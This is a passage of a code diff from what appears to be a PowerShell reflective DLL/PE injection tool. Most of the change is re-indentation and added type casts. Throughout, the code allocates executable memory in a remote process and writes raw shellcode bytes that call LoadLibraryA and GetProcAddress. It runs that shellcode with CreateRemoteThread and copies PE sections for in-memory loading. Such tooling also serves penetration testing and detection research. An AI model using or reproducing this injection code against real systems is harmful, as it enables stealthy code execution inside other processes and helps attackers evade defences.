a 64bit address - # Instead, write shellcode while calls LoadLibrary and writes the result to a memory address we specify. Then read from that memory once the thread finishes. - if ($PEInfo.PE64Bit -eq $true) - { - #Allocate memory for the address returned by LoadLibraryA - $LoadLibraryARetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) - if ($LoadLibraryARetMem -eq [IntPtr]::Zero) - { - Throw "Unable to allocate memory in the remote process for the return value of LoadLibraryA" - } + Function Import-DllInRemoteProcess + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $RemoteProcHandle, + + [Parameter(Position=1, Mandatory=$true)] + [IntPtr] + $ImportDllPathPtr + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) + $DllPathSize = [UIntPtr][UInt64]([UInt64]$ImportDllPath.Length + 1) + $RImportDllPathPtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($RImportDllPathPtr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process" + } + + [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RImportDllPathPtr, $ImportDllPathPtr, $DllPathSize, [Ref]$NumBytesWritten) + + if ($Success -eq $false) + { + Throw "Unable to write DLL path to remote process memory" + } + if ($DllPathSize -ne $NumBytesWritten) + { + Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" + } + + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $LoadLibraryAAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "LoadLibraryA") #Kernel32 loaded to the same address for all processes + + [IntPtr]$DllAddress = [IntPtr]::Zero + #For 64bit DLL's, we can't use just CreateRemoteThread to call LoadLibrary because GetExitCodeThread will only give back a 32bit value, but we need a 64bit address + # Instead, write shellcode while calls LoadLibrary and writes the result to a memory address we specify. Then read from that memory once the thread finishes. + if ($PEInfo.PE64Bit -eq $true) + { + #Allocate memory for the address returned by LoadLibraryA + $LoadLibraryARetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($LoadLibraryARetMem -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for the return value of LoadLibraryA" + } - #Write Shellcode to the remote process which will call LoadLibraryA (Shellcode: LoadLibraryA.asm) - $LoadLibrarySC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) - $LoadLibrarySC2 = @(0x48, 0xba) - $LoadLibrarySC3 = @(0xff, 0xd2, 0x48, 0xba) - $LoadLibrarySC4 = @(0x48, 0x89, 0x02, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + #Write Shellcode to the remote process which will call LoadLibraryA (Shellcode: LoadLibraryA.asm) + $LoadLibrarySC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) + $LoadLibrarySC2 = @(0x48, 0xba) + $LoadLibrarySC3 = @(0xff, 0xd2, 0x48, 0xba) + $LoadLibrarySC4 = @(0x48, 0x89, 0x02, 0x48, 0x89, 0xdc, 0x5b, 0xc3) - $SCLength = $LoadLibrarySC1.Length + $LoadLibrarySC2.Length + $LoadLibrarySC3.Length + $LoadLibrarySC4.Length + ($PtrSize * 3) - $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) - $SCPSMemOriginal = $SCPSMem + $SCLength = $LoadLibrarySC1.Length + $LoadLibrarySC2.Length + $LoadLibrarySC3.Length + $LoadLibrarySC4.Length + ($PtrSize * 3) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem - Write-BytesToMemory -Bytes $LoadLibrarySC1 -MemoryAddress $SCPSMem - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC1.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($RImportDllPathPtr, $SCPSMem, $false) - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) - Write-BytesToMemory -Bytes $LoadLibrarySC2 -MemoryAddress $SCPSMem - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC2.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryAAddr, $SCPSMem, $false) - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) - Write-BytesToMemory -Bytes $LoadLibrarySC3 -MemoryAddress $SCPSMem - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC3.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryARetMem, $SCPSMem, $false) - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) - Write-BytesToMemory -Bytes $LoadLibrarySC4 -MemoryAddress $SCPSMem - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC4.Length) + Write-BytesToMemory -Bytes $LoadLibrarySC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RImportDllPathPtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryAAddr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC3.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryARetMem, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC4 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC4.Length) - $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) - if ($RSCAddr -eq [IntPtr]::Zero) - { - Throw "Unable to allocate memory in the remote process for shellcode" - } + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } - $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) - if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) - { - Throw "Unable to write shellcode to remote process memory." - } + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } - $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions - $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) - if ($Result -ne 0) - { - Throw "Call to CreateRemoteThread to call GetProcAddress failed." - } + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } - #The shellcode writes the DLL address to memory in the remote process at address $LoadLibraryARetMem, read this memory - [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) - $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $LoadLibraryARetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) - if ($Result -eq $false) - { - Throw "Call to ReadProcessMemory failed" - } - [IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [IntPtr]) - - $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $LoadLibraryARetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null - $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null - } - else - { - [IntPtr]$RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $LoadLibraryAAddr -ArgumentPtr $RImportDllPathPtr -Win32Functions $Win32Functions - $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) - if ($Result -ne 0) - { - Throw "Call to CreateRemoteThread to call GetProcAddress failed." - } + #The shellcode writes the DLL address to memory in the remote process at address $LoadLibraryARetMem, read this memory + [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $LoadLibraryARetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) + if ($Result -eq $false) + { + Throw "Call to ReadProcessMemory failed" + } + [IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $LoadLibraryARetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + } + else + { + [IntPtr]$RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $LoadLibraryAAddr -ArgumentPtr $RImportDllPathPtr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } - [Int32]$ExitCode = 0 - $Result = $Win32Functions.GetExitCodeThread.Invoke($RThreadHandle, [Ref]$ExitCode) - if (($Result -eq 0) -or ($ExitCode -eq 0)) - { - Throw "Call to GetExitCodeThread failed" - } + [Int32]$ExitCode = 0 + $Result = $Win32Functions.GetExitCodeThread.Invoke($RThreadHandle, [Ref]$ExitCode) + if (($Result -eq 0) -or ($ExitCode -eq 0)) + { + Throw "Call to GetExitCodeThread failed" + } - [IntPtr]$DllAddress = [IntPtr]$ExitCode - } + [IntPtr]$DllAddress = [IntPtr]$ExitCode + } - $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RImportDllPathPtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RImportDllPathPtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null - return $DllAddress - } + return $DllAddress + } - Function Get-RemoteProcAddress - { - Param( - [Parameter(Position=0, Mandatory=$true)] - [IntPtr] - $RemoteProcHandle, - - [Parameter(Position=1, Mandatory=$true)] - [IntPtr] - $RemoteDllHandle, - - [Parameter(Position=2, Mandatory=$true)] - [String] - $FunctionName - ) - - $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([IntPtr]) - $FunctionNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($FunctionName) - - #Write FunctionName to memory (will be used in GetProcAddress) - $FunctionNameSize = [UIntPtr][UInt64]([UInt64]$FunctionName.Length + 1) - $RFuncNamePtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $FunctionNameSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) - if ($RFuncNamePtr -eq [IntPtr]::Zero) - { - Throw "Unable to allocate memory in the remote process" - } - - [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero - $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RFuncNamePtr, $FunctionNamePtr, $FunctionNameSize, [Ref]$NumBytesWritten) - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($FunctionNamePtr) - if ($Success -eq $false) - { - Throw "Unable to write DLL path to remote process memory" - } - if ($FunctionNameSize -ne $NumBytesWritten) - { - Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" - } - - #Get address of GetProcAddress - $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") - $GetProcAddressAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "GetProcAddress") #Kernel32 loaded to the same address for all processes - - - #Allocate memory for the address returned by GetProcAddress - $GetProcAddressRetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UInt64][UInt64]$PtrSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) - if ($GetProcAddressRetMem -eq [IntPtr]::Zero) - { - Throw "Unable to allocate memory in the remote process for the return value of GetProcAddress" - } - - - #Write Shellcode to the remote process which will call GetProcAddress - #Shellcode: GetProcAddress.asm - #todo: need to have detection for when to get by ordinal - [Byte[]]$GetProcAddressSC = @() - if ($PEInfo.PE64Bit -eq $true) - { - $GetProcAddressSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) - $GetProcAddressSC2 = @(0x48, 0xba) - $GetProcAddressSC3 = @(0x48, 0xb8) - $GetProcAddressSC4 = @(0xff, 0xd0, 0x48, 0xb9) - $GetProcAddressSC5 = @(0x48, 0x89, 0x01, 0x48, 0x89, 0xdc, 0x5b, 0xc3) - } - else - { - $GetProcAddressSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xc0, 0xb8) - $GetProcAddressSC2 = @(0xb9) - $GetProcAddressSC3 = @(0x51, 0x50, 0xb8) - $GetProcAddressSC4 = @(0xff, 0xd0, 0xb9) - $GetProcAddressSC5 = @(0x89, 0x01, 0x89, 0xdc, 0x5b, 0xc3) - } - $SCLength = $GetProcAddressSC1.Length + $GetProcAddressSC2.Length + $GetProcAddressSC3.Length + $GetProcAddressSC4.Length + $GetProcAddressSC5.Length + ($PtrSize * 4) - $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) - $SCPSMemOriginal = $SCPSMem - - Write-BytesToMemory -Bytes $GetProcAddressSC1 -MemoryAddress $SCPSMem - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC1.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($RemoteDllHandle, $SCPSMem, $false) - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) - Write-BytesToMemory -Bytes $GetProcAddressSC2 -MemoryAddress $SCPSMem - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC2.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($RFuncNamePtr, $SCPSMem, $false) - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) - Write-BytesToMemory -Bytes $GetProcAddressSC3 -MemoryAddress $SCPSMem - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC3.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressAddr, $SCPSMem, $false) - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) - Write-BytesToMemory -Bytes $GetProcAddressSC4 -MemoryAddress $SCPSMem - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC4.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressRetMem, $SCPSMem, $false) - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) - Write-BytesToMemory -Bytes $GetProcAddressSC5 -MemoryAddress $SCPSMem - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC5.Length) - - $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) - if ($RSCAddr -eq [IntPtr]::Zero) - { - Throw "Unable to allocate memory in the remote process for shellcode" - } - - $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) - if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) - { - Throw "Unable to write shellcode to remote process memory." - } - - $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions - $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) - if ($Result -ne 0) - { - Throw "Call to CreateRemoteThread to call GetProcAddress failed." - } - - #The process address is written to memory in the remote process at address $GetProcAddressRetMem, read this memory - [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) - $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $GetProcAddressRetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) - if (($Result -eq $false) -or ($NumBytesWritten -eq 0)) - { - Throw "Call to ReadProcessMemory failed" - } - [IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [IntPtr]) - - $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null - $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RFuncNamePtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null - $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $GetProcAddressRetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null - - return $ProcAddress - } - - - Function Copy-Sections - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [Byte[]] - $PEBytes, - - [Parameter(Position = 1, Mandatory = $true)] - [System.Object] - $PEInfo, - - [Parameter(Position = 2, Mandatory = $true)] - [System.Object] - $Win32Functions, - - [Parameter(Position = 3, Mandatory = $true)] - [System.Object] - $Win32Types - ) - - for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) - { - [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf($Win32Types.IMAGE_SECTION_HEADER))) - $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, $Win32Types.IMAGE_SECTION_HEADER) - - #Address to copy the section to - [IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$SectionHeader.VirtualAddress)) + Function Get-RemoteProcAddress + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $RemoteProcHandle, + + [Parameter(Position=1, Mandatory=$true)] + [IntPtr] + $RemoteDllHandle, + + [Parameter(Position=2, Mandatory=$true)] + [String] + $FunctionName + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + $FunctionNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($FunctionName) + + #Write FunctionName to memory (will be used in GetProcAddress) + $FunctionNameSize = [UIntPtr][UInt64]([UInt64]$FunctionName.Length + 1) + $RFuncNamePtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $FunctionNameSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($RFuncNamePtr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process" + } + + [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RFuncNamePtr, $FunctionNamePtr, $FunctionNameSize, [Ref]$NumBytesWritten) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($FunctionNamePtr) + if ($Success -eq $false) + { + Throw "Unable to write DLL path to remote process memory" + } + if ($FunctionNameSize -ne $NumBytesWritten) + { + Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" + } + + #Get address of GetProcAddress + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $GetProcAddressAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "GetProcAddress") #Kernel32 loaded to the same address for all processes + + + #Allocate memory for the address returned by GetProcAddress + $GetProcAddressRetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UInt64][UInt64]$PtrSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($GetProcAddressRetMem -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for the return value of GetProcAddress" + } + + + #Write Shellcode to the remote process which will call GetProcAddress + #Shellcode: GetProcAddress.asm + #todo: need to have detection for when to get by ordinal + [Byte[]]$GetProcAddressSC = @() + if ($PEInfo.PE64Bit -eq $true) + { + $GetProcAddressSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) + $GetProcAddressSC2 = @(0x48, 0xba) + $GetProcAddressSC3 = @(0x48, 0xb8) + $GetProcAddressSC4 = @(0xff, 0xd0, 0x48, 0xb9) + $GetProcAddressSC5 = @(0x48, 0x89, 0x01, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + } + else + { + $GetProcAddressSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xc0, 0xb8) + $GetProcAddressSC2 = @(0xb9) + $GetProcAddressSC3 = @(0x51, 0x50, 0xb8) + $GetProcAddressSC4 = @(0xff, 0xd0, 0xb9) + $GetProcAddressSC5 = @(0x89, 0x01, 0x89, 0xdc, 0x5b, 0xc3) + } + $SCLength = $GetProcAddressSC1.Length + $GetProcAddressSC2.Length + $GetProcAddressSC3.Length + $GetProcAddressSC4.Length + $GetProcAddressSC5.Length + ($PtrSize * 4) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $GetProcAddressSC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RemoteDllHandle, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RFuncNamePtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC3.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressAddr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC4 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC4.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressRetMem, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC5 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC5.Length) + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + #The process address is written to memory in the remote process at address $GetProcAddressRetMem, read this memory + [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $GetProcAddressRetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) + if (($Result -eq $false) -or ($NumBytesWritten -eq 0)) + { + Throw "Call to ReadProcessMemory failed" + } + [IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RFuncNamePtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $GetProcAddressRetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + + return $ProcAddress + } + + + Function Copy-Sections + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) + $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER) + + #Address to copy the section to + [IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$SectionHeader.VirtualAddress)) - #SizeOfRawData is the size of the data on disk, VirtualSize is the minimum space that can be allocated - # in memory for the section. If VirtualSize > SizeOfRawData, pad the extra spaces with 0. If - # SizeOfRawData > VirtualSize, it is because the section stored on disk has padding that we can throw away, - # so truncate SizeOfRawData to VirtualSize - $SizeOfRawData = $SectionHeader.SizeOfRawData - - if ($SectionHeader.PointerToRawData -eq 0) - { - $SizeOfRawData = 0 - } + #SizeOfRawData is the size of the data on disk, VirtualSize is the minimum space that can be allocated + # in memory for the section. If VirtualSize > SizeOfRawData, pad the extra spaces with 0. If + # SizeOfRawData > VirtualSize, it is because the section stored on disk has padding that we can throw away, + # so truncate SizeOfRawData to VirtualSize + $SizeOfRawData = 